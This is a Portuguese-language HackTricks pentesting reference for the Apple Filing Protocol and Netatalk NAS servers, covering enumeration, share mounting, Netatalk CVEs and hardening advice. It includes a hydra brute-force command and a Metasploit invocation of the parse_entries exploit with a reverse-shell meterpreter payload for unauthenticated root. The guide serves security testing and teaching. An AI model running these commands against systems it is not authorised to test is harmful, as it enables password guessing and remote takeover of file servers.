548 - Pentesting Apple Filing Protocol (AFP)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

O Apple Filing Protocol (AFP), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído dentro do Apple File Service (AFS). Foi projetado para fornecer serviços de arquivos para macOS e o clássico Mac OS. O AFP destaca-se por suportar nomes de arquivos Unicode, permissões estilo POSIX e ACL, resource forks, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos.

Embora o AFP tenha sido substituído pelo SMB nas versões mais modernas do macOS (SMB é o padrão desde o OS X 10.9), ele ainda é encontrado em:

  • Ambientes legados macOS / Mac OS 9
  • Appliances NAS (QNAP, Synology, Western Digital, TrueNAS…) que incorporam o daemon open-source Netatalk
  • Redes Mixed-OS onde o Time-Machine-over-AFP ainda está habilitado

Porta TCP padrão: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeração

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Scripts NSE úteis para AFP:

ScriptO que faz
afp-lsLista volumes e arquivos AFP disponíveis
afp-bruteForça bruta de senha contra o login AFP
afp-serverinfoExibe nome do servidor, tipo de máquina, versão do AFP, UAMs suportados, etc.
afp-showmountLista shares juntamente com suas ACLs
afp-path-vulnDetecta (e pode explorar) directory-traversal, CVE-2010-0533

O script brute-force do NSE pode ser combinado com Hydra/Medusa se for necessário mais controle:

hydra -L users.txt -P passwords.txt afp://<IP>

Se você já tiver credenciais, Nmap’s AFP scripts ficam muito mais úteis porque afp-serverinfo leaks os UAMs anunciados (métodos de autenticação), enquanto afp-showmount e afp-ls podem enumerar shares acessíveis, ACLs e arquivos interessantes:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Pay attention to:

  • Machine Type: Netatalk in afp-serverinfo output, que geralmente significa um host NAS / Unix em vez da própria implementação AFP da Apple.
  • UAMs como DHX, DHX2, Cleartxt ou Guest, pois indicam diretamente os caminhos de login acessíveis e se a autenticação legada / fraca está habilitada.
  • Share ACLs do afp-showmount; compartilhamentos legíveis por todos ou estilo drop-box frequentemente expõem backups, arquivos .appl e metadados de usuário antes mesmo de você montar o volume.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (usando afpfs-ng ‑ empacotado na maioria das distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Uma vez montado, lembre-se de que os resource-forks clássicos do Mac são armazenados como arquivos AppleDouble ocultos ._* — estes frequentemente contêm metadados interessantes que ferramentas DFIR deixam passar.

Em alvos Netatalk, esse backend de metadados também influência a exploitability:

  • ea = ad significa que os metadados são armazenados em arquivos AppleDouble v2 / diretórios .AppleDouble.
  • ea = sys ou ea = samba armazena os metadados em atributos estendidos do sistema de arquivos.
  • Em Netatalk 4.2+ a antiga opção appledouble foi removida e o backend é controlado unicamente através da opção ea.

Do ponto de vista ofensivo, isso permite decidir rapidamente se AppleDouble-oriented bugs são mais provavelmente alcançáveis no servidor.


Vulnerabilidades Comuns & Exploração

Netatalk unauthenticated RCE chain (2022)

Vários fornecedores de NAS distribuíram Netatalk ≤3.1.12. A falta de verificação de limites em parse_entries() permite que um atacante construa um cabeçalho AppleDouble malicioso e obtenha remote root antes da autenticação (CVSS 9.8 – CVE-2022-23121). Há um write-up completo da NCC Group com PoC explorando o Western-Digital PR4100 disponível.

O Metasploit (>= 6.3) inclui o módulo exploit/linux/netatalk/parse_entries, que entrega o payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Se o alvo executar um firmware QNAP/Synology afetado, a exploração bem-sucedida fornece um shell como root.

Netatalk OpenSession heap overflow (2018)

Versões antigas do Netatalk (3.0.0 - 3.1.11) são vulneráveis a um out-of-bounds write no handler DSI OpenSession, permitindo execução de código não autenticada (CVE-2018-1160). Uma análise detalhada e um PoC foram publicados pela Tenable Research.

Newer Netatalk attack surface (2022-2024)

Avisos recentes do Netatalk mostram que a superfície de ataque não está mais limitada a parse_entries() e ao tratamento de OpenSession:

  • CVE-2022-45188: um arquivo .appl especialmente forjado pode disparar um heap overflow em afp_getappl; isto é especialmente relevante se você puder escrever arquivos em um share e o servidor executar os recursos FCE / notify.
  • CVE-2023-42464: um bug de type confusion nos handlers Spotlight RPC pode tornar-se acessível quando spotlight = yes está habilitado em afp.conf (desabilitado por padrão).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes em caminhos relacionados ao login corrigidos em Netatalk 2.4.1 / 3.1.19 / 3.2.1. Esses bugs são interessantes porque a possibilidade de exploração depende dos UAMs configurados:
    • uams_clrtxt.so + PAM-backed ClearTxt login expõe o caminho FPLoginExt relevante para CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login alcança o caminho vulnerável para CVE-2024-38440.
    • uams_guest.so mantém o caminho de login Guest acessível para CVE-2024-38441.

Isso significa que a saída de afp-serverinfo não é apenas dados de fingerprinting; ela ajuda você a decidir qual login parser está exposto antes de gastar tempo no desenvolvimento de exploit ou triagem do firmware do NAS.

Other notable issues

  • CVE-2022-22995 – Symlink redirection levando a escrita arbitrária de arquivos / RCE quando AppleDouble v2 está habilitado (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal no Apple Mac OS X 10.6 AFP (detectado por afp-path-vuln.nse).
  • Vários bugs de segurança de memória foram corrigidos novamente durante os lançamentos do Netatalk em 2024; se você identificar Netatalk em afp-serverinfo, gaste um minuto correlacionando os UAMs expostos / Spotlight / backend de metadata com a versão do servidor antes de assumir que apenas os bugs de 2018/2022 importam.

Defensive Recommendations

  1. Disable AFP a menos que seja estritamente necessário – use SMB3 ou NFS em vez disso.
  2. Se o AFP precisar permanecer, upgrade Netatalk para ≥ 3.1.18 or 4.x, ou aplique firmware do fornecedor que back-ports os patches de 2022/2023/2024.
  3. Enforce Strong UAMs (p.ex. DHX2), desabilite logins em clear-text e logins Guest.
  4. Restrinja o TCP 548 a sub-redes confiáveis e encapsule o AFP dentro de uma VPN quando exposto remotamente.
  5. Faça varreduras periódicas com nmap -p 548 --script afp-* em CI/CD para detectar appliances rogue / downgraded.

Brute-Force

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks